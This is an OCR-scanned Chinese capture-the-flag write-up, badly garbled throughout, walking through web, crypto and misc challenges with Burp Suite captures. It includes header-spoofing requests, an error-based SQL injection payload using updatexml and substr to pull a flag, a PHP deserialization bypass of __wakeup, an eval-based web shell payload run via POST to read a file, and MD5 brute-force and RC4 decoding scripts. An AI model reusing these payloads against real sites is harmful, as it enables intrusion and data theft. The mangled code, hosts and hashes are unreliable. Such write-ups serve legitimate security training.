Go cancel | [ <lv ][ > Target: http://aa66e88b80074a00a879270d5fof9795f94e d18effba520.ctf.game 4|2
Request Response
j Raw T Headers T Hex ] j Raw T Headers T Hex ]
OPTIONS /8d829d8568e46455104209dbScd9228d . himl HTTP/1.1 A HTTP/1.1 200 0K A
Host: aa66e88b80074a00a8792f70dSf9fo795f94ed18e ffh4520. ctf. game > Server: ASERVER/1.8.0-3 "
User-Agent: Mozilla/5.0 (X11: Linux 1686; rv:43.0) Date: Wed, 25 Jan 2017 15:02:50 GMT
Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4 Content-Type: text/html
Accept: Content-Length: 22
text/htnl, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8 Connection: close
Accept-Language: en-US,en;q=0.5 K-Powered-By: PHP/5.5.9-1ubuntud.19
Accept-Encoding: gzip, deflate Set-Cookie: _ ads_session=Z1/XCm152ghSBOWDDAA=;
Connection: close domain=.*.ctf.game; path=/
Cache-Control: max-age=0 K-Powered-By-Anquanbao: MISS from pon-bj-icqg-ichungiu-ibl
ip incorrect ??7XFF?7?
XFF? ¥ —/"X-Forwarded-For:127.0.0.15¥, & T Hclient-ip1t, getflag
Burp Suite Free Edition v1.6.32 (- O ]
Burp Intruder Repeater Window Help
[Target T Promy T Spider ]' Scanner T Intruder TRepeater T Sequencer T Decoder T Comparer T Extender T Options IAIerts ]
[1 % [ ]
6o cancel | [ <in || > Target: http:/aa66e88b80074a00a8792f70d5f9f9795f94e d18effbas20.ctf.game ||| 2|
Request Response
_[ Raw T Headers T Hex ] J Raw T Headers T Hex TXML ]
OPTIONS /8d829d8568e46455104209db5cd9228d . html HTTP/1.1 | A& HTTP/1.1 200 0K A
Host: 2a66e88b80074a00a8792f70d5f9f9795f94ed18e ffba520. ctf . game o Server: ASERVER/1.8.0-3 "
User-Agent: Mozilla/5.0 (X11: Linux 1886; rv:43.0) Date: Wed, 25 Jan 2017 15:03:46 GMT
Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4 Content-Type: text/html
Accept: Content-Length: 309
text/html, application/xhtml+xml, application/xml;g=0.9, %/%:q=0.8 Connection: close
Accept-Language: en-US,en;q=0.5 X-Powered-By: PHP/5.5.9-1ubuntud.19
Accept-Encoding: gzip, deflate Vary: Accept-Encoding
Connection: close Set-Cookie: _ ads_session=EbWwU2552q19B0wDDAA=;
Cache-Control: max-age=0 domain=.*, ctf.game; path=/
client-ip:127.0.0.1 X-Powered-By-Anquanbao: MISS from pon-bj-icg-ichungiu-ibl
<code><span style="color: #000000">
=span style="color: #00CCBB"=&Lt;?php<br
/=knbsp; &nbsp; knbsp; &nbsp;$flaginbsp; </span=<span style="color:
#007700" >=&nbsp; </span><span style="color
#0DE000" = flag{06435db6 -cc9b-4c79-9fc0-9235c62d94ab} " </span=<spa
n style="color: #007700"=;<br /=<br /=</span=
</span=
</code=
BH:vid k% . web
do you know Vulcan Logic Dumper?<br>false<br><!-- index.php.txt ?>
#Eindex.php.txt

K= Bt 2 getsHiflagl flag2 flag3%f M7 8, FEURLEHHERHM AL T



http://b0449533f3ac4fd6bf7bd9a5d7df293f26ea072caab34afe.ctf.game/?
flag1=fvhjjinfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi

%3

do you know Vulcan Logic Dumper?
the next step is 1chunqiu.zip

TF#1chunqiu.zip, &IAE 44 php,24~html, 14 css

% #login.php

<?php

require_once 'dbmysql.class.php';
require_once 'config.inc.php';

if(isset($_POST['username']) && isset($_POST[ 'password']) && isset($_POST[ 'number'])){
$db = new mysql_db();
$username = $db->safe_data($_POST['username']);
$password = $db->my_md5($_POST[ '‘password']);
$number = is_numeric($_POST[ 'number']) ? $ POST['number'] : 1;

$username = trim(str_replace($number, '', $username));

$sql = "select * from"." ".table name." "."where username="."'"."$username"."'";
$row = $db->query($sql);
$result = $db->fetch_array($row);
if($row){
if($result["number"] === $number &_& $result["password"] === $password){
echo "<script>alert('nothing here!')</script>";
}else{
echo "<script>
alert(' LR, ZENBMET!");
function jumpurl(){
location="login.html';
}
setTimeout('jumpurl()',1000);
</script>";
¥
Yelse{
exit(mysql_error());
}
Yelse{
echo "<script>
alert(' AP BERARNE!");
function jumpurl(){
location="'login.html';
}
setTimeout('jumpurl()',1000);
</script>";

?>

X BEW=APOSTE k2% username password number



username& AT — k¥ X
password<:£ iddbmysql.class.php LK B & X FImd5 4k 2

¥ £ usernamelnumber® # A %%

i61] 5k 4 7E usernameflnumberiX [ 3X [0 0A] PA & #3 %00%% X E\0 IO D= 148 ]

AN\ SR JE username 0 R AR a7 \VER BT CEETE R R\\' KIEF 8 5] 50T LAk & Sk P& Rl
mf:o):R= 1R

R RRAEIEN, SH5EE: http://www.cnblogs.comyxishaonian/p/6243497 .html
concatf) & =S H ik Bisubstringiiflag sy B BOE B H: Sk

POST /lchungiu/login.php HTTE/L. 1 a HTTP/1.1 200 OK
Host: h0449533£3ac4EdehEThdIasd7dElo3£26=a072caabidate . ctf . gam Server: ASERVER/1.8.0-3
: NT

SL.D) Geeko / 0100101 Firefox/51.0 Dat Sun, 05 Feb 2017 06:50:08 GMT
/xml;e=0.9, %/ *:q=0.8 e

s:
iom/%-wwv-form-ur lencodsd on=X7UNCRZNWi+hCeDDAA=; domain=.*.ctf.game; path=/

$S from pon-bi-ieq- hunju i1

o
Content-Length:

1=[10000*1] snumber=0gusername=123%00" and updatexml(l,concat (12, substr ((ssl0sct flag from flag), 10,251, 1) %23epassvord=1 0000000 ! XPATH syntax error: 'flag{70580fce-b977-4b78-9'|

Raw | Params | Headers | Hex Raw | Headers | Hex

POST / lchungiu/ login. php HTTP/ L. 1 4 HITP/L.L 200 OK
Host: h0449533£3ac4fdebiThdeasdTdEze3El 2 fe.cti.game Se ASERVER/1.8.0-3
er-Agent: Mozilla/5.0 (Windows NT &.1 1.0) Gecko/20100101 Firefox/51.0 n, 05 Feb 2017 0E:50:34 GNT

ontent-Type: text/html: charset=utf-g
o nc—LEng\:h: EL

1, application/xheml+sml, application/sml:q=0.9, */ *:q=0.8
2h-CN, zh; q=0.8, en-US;q=0. =0.3
: HP/S 5.9-lubuntus. 19
ion=1K3aVE7hIwiWhle: DDAA demain=.*.ctf.gams; path=/
K-Powered-By—A Anjuanhaﬂ IS5 from pon-hI-icq-ichundiu-ibl

OO000O0 ! XPATH syntax error: 'e55-c257842e22h3}'
1=[10000*1] énumber=0gusername=123%00' and updatexml(l,concat (12, substr((sellset flag from flag),25,35)), 1) 323epassword=1]

FH: RPN SE KA. misc
HE &R LM, 3 40E R mERRIRERMElagRH4??” Frbiflagit 2 H4

B H: challenge 3£%: misc

. 666c61677b686578327374725f6368616c6c656€67657d

MBE—TFTX—BZ/FE, ARFRERAES, FR/NTEENEBRTRZ161EH), He/hTF8mamL—AarE
BUTH — LA 2 65 A2 7 (M H R asciifi), MWﬁ?E{“JtHzemlﬁﬁbﬂ%ascn, pythonfi A 40 T

#!/usr/bin/env python

import binascii as ba

b = '666c61677b686578327374725f6368616c6Cc656€67657d"
= ba.a2b_hex(b)

print a

flag{hex2str_challenge}

BH: FEIE KRR KE: misc
H: }~144_0t_emOc14w{galf —HRHFE HREIEFFINF K%, pythonfiZAnT



#!/usr/bin/env python
str = '}~144_0t_emocl4w{galf’
print str[::-1]

flag{w41cOme_t0_441~}

B H: fuzzing X% :web
FIAE

Request Response
Raw | Headers | Hex Raw | Headers | Hex
GET /Challenges/test.php HTTP/1.1 ] HTTP/Ll.l 200 CK
Host: 7ebf093ccefeBl4d8587dldbetacafl7ocfafSiloccesld466d, o, game . Server: ASERVER/1.8.0-3
User-Agent: Mozilla/5.0 (Windows NT &.1; WOWE4; rv:sl.0) Date: Sun, 05 Feb ZO0OL7 07:45:10 GMT
Gecko/Z0100101 Firefox/51.0 Content-Type: text/html
Aeocept: Content-Length: 16
text/html, application/=xhtml+xml,application/=xml;q=0.9,*/*;q=0.8 Connection: close
Accept-Language: zh-CN,zh;g=0.8,en-U3:;q=0.5,en;q=0.3 ¥-FPowered-By: PHP/5.5.9-lubuntug. 19
Accept-Encoding: gzip, deflate hint: ip,Largese internal network
Beferer: Set-Cookie: __ads_sesslon=uaq:93]i2vgdlCcDDAA=; domain=.*.ctf.gam=; path=/
http://T7e5f93ccdE814d9587dldbefatafl75cfaf92lccE5144664. et game H-Powered-By-Angquanbac: MIZSE from pon-kij-icg-ichungiu-ibl
!
Connection: close there is nothing
Upgrade-Insecure-Requests: L
Cache-Control: max-age=0

RIAhint 3R7m KR, BAR 2 X client-ipSR O & IPHbdk, K Py Y B 1% 5t F AB% EE 2110.0.0.1

Go Cancel < |v > Follow redirection

Request Response

Raw | Headers | Hex Raw | Headers | Hex

GET /Challenges/test.php HTTE/L.1 'y HTTE/L1.1 302 Found
Host: 7e5f93cc98814d9587dldbetatatl7ScfatSiiccesl44eed. ctt. game " Server: ASERVER/1.8.0-3
User-Agent: Mozilla/5.0 (Windows NT £€.1; WOWE4; rv:51.0) Date: Sun, 05 Fek 2017 08:40:27 GMT
Gecko/20100101 Firefox/51.0 Content-Type: text/html
Accept: Content-Length: O
text/html, application/®html+xml, applicacion/xml; q=0.9, %/ *;q=0.8 Connection: close
Accept-Language: zh-CN, zh;g=0.8,en-US;q=0.5,en;=0.3 ¥-Powsred-By: PHP/5.5.9-lubuntu4.19
Accept-Encoding: gzip, deflate Location: ./ménage.php
Referer: Set-Cookie: _ ads_session=NFLQT7LLjZwgRo3cDDAL=; domain=.*.ctf.game; path=/
http://7=5f93cc96814d9587d14beEatafl75cfafo922cci5144664 . ctf. gams ¥-Powered-By-Ancuanbaoc: MISS from pon-bj-icg-ichuncgiu-ibl
i/
Connection: close
Upgrade-Insscure—-Requests: 1
Pragma: no-cachs
Cache-Control: no-cache
Content-Length: O
¥-Forwarded-For: 10.0.0.1
Follow
Request Response

Raw | Headers | Hex Raw | Headers | Hex

GET /Challenges/./mdnage.php HTTE/Ll.1 ] HTTF/1l.l 200 CK

Host: 7e5f93ccY9EB814d9587dl4betacatl75ctfatyZicce51446864 . ctf. game & Server: ASERVER/1.8.0-3

User-Agent: Mozilla/5.0 (Windows NT &.1; WOWE4; rv:51.0) Date: Sun, 05 Fekh IZ017 08:41:21 GMT

Gecko/20100101 Firefox/51.0 Content-Type: text/html

Aeocept: Content-Length: L&

text/html, application/xhtml4xml, application/=xml;gq=0.9, */*;q=0.8 Connection: close

Accept-Languages: zh-CMN, zh;g=0.8,en-U3;g=0.5,en;g=0.3 ¥-Fowered-By: PHF/5.5.%-lubuntu4. 1%

Aecept-Encoding: gzip, deflate Set-Cookie: _ ads_session=T7szaqlLjjIivhPoScDDAL=; domain=.".ctf.gams; path=/
Referer: H-Powered-By-Ancquanbac: MISS from pon-bj-icg-ichungiu-ikl
http://7e5£53cc96814d9587d1l4befafatl75cfaf922ccE5 144664 . ctf. game

/ show me your key

Connection: close
Upgrade-Insecure-FRegquests: 1
Pragma: no-cache
Cache-Control: no-cachs
Content-Length: O
¥-Forwarded-For: 10.0.0.1

BiE—Akeyld, BEfEfE N admin, KIERM, B E#EPOST



Request

Raw | Params | Headers | Hex

Target: http://Te5f93cc96814d958

Response

Raw | Headers | Hex

POST /Challenges/manage.php HTTE/ L. L

Host: 7e5f93ccS9EB814d9587dl4begacail75cfafg9Zicce5144EE64. . ctt. game
User-Agent: Mozilla/5.0 (Windows NT £.1; WOWE4:; rv:51.0)
Gecko/20100L0L Firefox/51.0

Accept:

text/html, application/xhtml+xml, application/xml;eq=0.9, %/ *;q=0.8
Accept-Language: zh-CM, zh:q=0.8,=n-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Referer:
htep://7e5£93cc9E814d9587dl4besasafl75cfatf922ccE5144664. crt. game
/

Connsction: close

Upgrade-Insecurs-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

Content-Type: application/x-www—-form-urlencoded
Content-Length: §

¥-Forwarded-For: 10.0.0.1

key=admin

T

HTTP/L.1 200 OK

Server: ASERVER/1.8.0-3

Date: Sun, 05 Feb 2017 DB8:45:33 GMT

Content-Type: text/html

Content-Length: 110

Connsction: close

¥-Powered-By: PHP/5.5.9-lubuntu4.19

Vary: Accept-Encoding

Set-Cookie: __ ads_session=lSYadMHjZwhyoicDDAR=; domain=.*.ctf.game; path=/
¥-Powersd-By-Anquanbac: MISS from pon-bi-ico-ichungiu-ibl

key is not right,md5(key)==="1b4167610ba3f2ac426a68488dbd8%be" ,and the key is ichungiu**#*,the * is in [a-z0-9]

FHIFIRIX A keyFimd51E & 1b4167610ba3f2ac426a68488dbd89be, key{d i i Zichunqiuffk, J&TH =7 ZE/R

MaZF|z0F|9B 8%, 5 N python il 4

#!/bin/bash
import hashlib
def md5(data):

m = hashlib.md5()
m.update(data)
m.hexdigest()

return a

a =

1)
n

'ichunqgiu’

(o
n

for i in b:
for j in b:

for k in b:

"abcdefghijklmnopqrstuvwxyz1234567890"

if md5(a+i+j+k)=="1b4167610ba3f2ac426a68488dbd89be" :

print a+i+j+k

181 H key{E Nichunqiu105

Go Cancel < |v >\

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
FOST /Challenges/mdnage.php HTTP/L.L " HTTP/Ll.l 200 OK
Host: 7e5f93ccHY96814d9587dl4bebacatl75cfatyiZcces144664. ctt. gams & Server: ASERVER/1.8.0-3
User-Agent: Mozilla/5.0 (Windows NT €.1; WOWE4; rv:51.0) Date: Sun, 05 Fekb 2017 02:54:25 GNT

Gecko/20100101 Firefox/51.0
Aococept:

text/html, application/xhtml+xml, application/=ml;q=0.9, */*;q=0.8
zh-CHN, 2h;q=0.8,en-US:q=0.5,en;q=0.3

Aecept-Languadge @
Aecept-Encoding: gzip,
Referer:

deflate

http://7=5£93ccO6814d9587dl4befadatl75cfato2iccE5144664 . ctf. game

/

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache—Control: no-cache

Content-Type: application/x-www-form-urlencodsd
Content-Length: L5

X-Forwarded-For: 10.0.0.1

key=ichungiulOs

AR 4k 45 17 18] xx00xx00.php

Content-Type: text/html

Content-Length: 27

Connection: close

¥-Powered-By: PHP/5.5.89-1lubuncu4. 19

Set-Cookie: _ ads session=XOL¥nChkZwi3pCcDDAR=; domain=.*.ctf.game;
¥-Powsred-By-Angquanbac: MIZSE from pon-bi-icg-ichungiu-ibl

path=/

the next step: xx00xxoo.php




Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

FPOST /Challenges/xxDDxxoo.phpl HTTP/L1.L Y HTTF/Ll.l 200 OK

Host: 7e5f93ccY9e814dS587dl4begacatl75ctafg22cce5144E64. et game r Serve: ASERVER/L.8.0-3

User-Agent: Mozilla/5.0 (Vindows NT 6.1; WOWE4; rv:51.0) Date: Sun, 05 Feb 2017 08:55:04 GHT

Gecko/20Ll00L0L Firefox/51.0 Contenc-Type: text/html

Accept: Content-Length: L&8

text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8 Connection: close

Accept-Language: zh-CH, zh; q=0.8,en-US; q=0.5, en;g=0.3 ¥-Powered-By: PHE/S5.5.9-lubuntud. 19

Accept-Encoding: gzip, deflate Vary: Accept—Encoding

Referer: Set-Cockie: _ ads session=7p+dgQrk2wikpCcDDAA=; domain=.*.ctf.game; path=/
heop://725£93cc9E61409587d14befasat 175cfaf922ccE5144664. ctf. game ¥-Powered-By-Anquanbao: MISS from pon-bj-icg-ichungiu-ibl
Connection: close source code is in the x0.txt.Can you guess the key

Upgrade-Insscure-Requests: 1 the authcode(flag) is fda6UvwerCqVTBBzk/0doygTsXVv1oI10D6pWMeDuyt /AbGoz668WTwelmepY6v1R005DIXrTalliyxSKATBFn3DojDgPzvs

Pragma: no-cache
Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded
Content-Length: 15

X-Forwarded-For: 10.0.0.1

key=ichunqiulos

TEARAGAEXD. txt

R RdiscuztnF R ¥, EEKNEFHFREAlaghFERLE R, RNFERAAINBHEAMEANPHPHE— Tl H
flagT



<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_ length) : substr(md5(microtime()

$cryptkey = $keya . md5($keya . $keyc);
$key length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey length)) : sprintf('%e01ed', $expiry
$string_length = strlen($string);

$result = '';
$box = range(@, 255);

$rndkey = array();
for ($i = @; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for ($j = $i = @; $i < 256; $i++) {
$j = ($J + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$7];
$box[$3] = $tmp;
}

for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a]l;
$box[$a] = $box[$j];
$box[$3j] = $tmp;
$result .= chr(ord($string[$i]) ~ ($box[($box[$a] + $box[$j]) % 256]));

if ($operation == 'DECODE') {

if ((substr($result, @, 10) == @ || substr($result, @, 10) - time() > @) && substr($result, 10, 16) == su
return substr($result, 26);

} else {
return '';

}

} else {

return $keyc . str_replace('=', '', base64_encode($result));

}

echo authcode($string = 'fda6UvwerCgVTBBzk/0doqIsXVv1oI1lQD6pWMeDuvt/AbGoz6684WYwelmxpY6vIRQo5DIXrJaNiyxSK4]
?>

BH: REFXKZI B KA. misc



BRBERBEAE R, It 17flag{123456abcdef}

B H: tryagain X%. misc
TS JE Pt linux B A strings 15447 ED H AT 4T ED 2475 B H grepin & 4 & BB it 3 1 S flagF B dr 48 :

strings babyre | grep flag

flag{re_start_007}

BH: Wik/RCAEY: K. misc

AH B T RRCAK I, A H T keyfE ~Awelcometoicqedu %R
UUyFTj8PCzF6geFn6xgBOYSvVTrbpNU4OF9db9wMcPD1yDbadw== 5 EA pythonfli&Ek—TF

import random, base64
from hashlib import shal

def crypt(data, key):
X =0
box = range(256)
for i in range(256):
x = (x + box[i] + ord(key[i % len(key)])) % 256
box[i], box[x] = box[x], box[i]
X =Yy =0
out = []
for char in data:
X = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
out.append(chr(ord(char) ~ box[(box[x] + box[y]) % 256]))
return ''.join(out)

def tdecode(data, key, decode=base64.b64decode, salt_length=16):
if decode:
data = decode(data)
salt = data[:salt_length]
return crypt(data[salt_length:], shal(key + salt).digest())

if __name__=='_main__':
data = 'UUyFTj8PCzF6geFn6xgBOYSvVTrbpNU4OF9dbO9wMcPD1lyDbaJw=="
key = 'welcometoicqedu’

decoded_data = tdecode(data=data, key=key)
print decoded_data

flag{rc4_|_keepgoing}

BH: hash 3k%!. web

1k Bhttp:/8bd793f83e9343418fb9b39a8cd7f3ee1f22184a90af4 38a.ctf.game/index.php?
key=123&hash=f9109d5f83921a551cf859f853afe7bb



% #hash=f9109d5f83921a551cf859f853afe7bb md5f# — T /& kkkkkk01123

BT key=123 MR 7R & K5 =060, MIIRR REAR1235T, BEFadminii7ERE, md5Sin#E—T
049f601185c0846faac45065a834b1c5

Vi 1] http://8bd793f83e93434 18fb9b39a8cd7f3ee1f22184a90af438a.ctf.game/index.php?
key=admin&hash=049f601185c0846faac45065a834b1c5

% FIGu3ss_m3_h2h2.php

<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';

public function __ construct($file) {
$this->file = $file;
}

function _ destruct() {
echo @highlight file($this->file, true);
}

function __ wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php") {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';

}

if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {

@unserialize($var);

}
} else {
highlight_file("Gu3ss_m3_h2h2.php");

W — A variI S H# T basebAMR I /R 5 #EAT IE M UL HC 5 Mt #E4T P 54k, ERAEHAT__destructR B mi &
W H__wakeupR i #fileZ &

REMAFI TR RN RBEEN BT ALK BN LS wakeupI#AT
SEE: http://0x48.pw/2016/09/13/0x22/
RYEZ R LT AL E—TF



<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';

public function _ construct($file) {
$this->file = $file;

function _ destruct() {
echo @highlight_file($this->file, true);

function __ wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php"') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';

$a = new Demo('f15g_1s _here.php');
$a = serialize(%$a);

echo $%a;

echo '<br />';

$b = str_replace('0:4', '0:+4',%a);
$b = str_replace(':1:', ':5:' ,$b);
echo '<br />';

echo base64_encode($b);

A i H SR T zorNDoiRGVtbyIBNT p7 czoxMDoiAERIbWSAZmIsZSI7 czoxNjoiZjE1Z18xc190ZXJILnBocCl7fQ==

@ Load URL http://Bbd793f8329343418fb9b3%aBed7i3eelf22184a90af438a.ctf. game/Gu3ss_m3_hzh2.php?var=TzorNDoiRGVtbyl6NTp7 czoxMDoi AER b\WEAZmISZSI7 czoxNjoiZjE1Z18xc190ZXUILnBocCITIQ==
% split URL
3 Execute

[7] Enable Post data || Enable Referrer

<?php

if (isset (§_GET['val'l])) {
Sval = § GET
eval ("$value

} else {

die ('hahaha!');

......

>

ERAE—ANSHvarit TRIE, X EWEWAF FAN—aiEPOSTZEHAT Ridgetflag

& Load URL  httpy//8bd793f8329343418fb9b39aBcd7f3221f22184290af438a.ctf. game/f15g_1s_here.php?val=${@eval($_POST[ON}
I split URL
4 Execute
Enable Post data [ | Enable Referrer
Post data O=echo “cat True_Flag_i3_Here_233.php”

< Pohp
$flag = "flag (0952c81F-F7dc—4acc—9558—-11FfI50aldl3al’;
22



BH: #ENESE RKE: misc

# L. 25d55ad283aa400af464c76d713c07ad, FEREH F— RN ZAMDS, # T — T % X KE326LEARHIN,
53 http://www.dmd5.comVymd5-decrypter.jsp L5 H B 3212345678, jn_E#& =B AT

iﬁiﬁz %H&ﬁ )ﬂéﬂ misc
2. gmbh{4d850d5c3c2756f67b91cbe8f046eebd}, Mik A Lt AMEE H 2 IHE, pythonflA&nT

# Caesar Cipher
MAX_KEY_SIZE = 26

def getMode():
while True:

print('Do you wish to encrypt or decrypt a message?')

mode = raw_input().lower()

if mode in ‘'encrypt e decrypt d'.split():
return mode

else:
print('Enter either "encrypt" or "e" or "decrypt" or "d".')

def getMessage():
print('Enter your message:"')
return raw_input()

def getKey():
key = ©
while True:
print('Enter the key number (1-%s)' % (MAX_KEY_SIZE))
key = int(input())
if (key >= 1 and key <= MAX_KEY_SIZE):
return key

def getTranslatedMessage(mode, message, key):
if mode[@] == 'd':
key = -key
translated = "'

for symbol in message:
if symbol.isalpha():
num = ord(symbol)
num += key

if symbol.isupper():
if num > ord('Z'):

num -= 26
elif num < ord('A'):
num += 26

elif symbol.islower():
if num > ord('z'):
num -= 26
elif num < ord('a'):
num += 26

translated += chr(num)
else:



translated += symbol
return translated

mode = getMode()
message = getMessage()
if mode[@] != 'd':
key = getKey()
print('Your translated text is:')

if mode[@] != 'd':

print(getTranslatedMessage(mode, message, key))
else:

for key in range(1,MAX_KEY_SIZE + 1):
print(key,getTranslatedMessage('decrypt',message,key))

Bk —HESE B, (HE— Rt Rflag flag{4c850c5b3b2756e67a91bad8e046ddac)

B H: flagtgsX KA. misc
AHEE RN, BEEHBG T, flag{Oahief124jfjir}

3, T:https://www.cnblogs.com/kurokoleung/p/6363845.html
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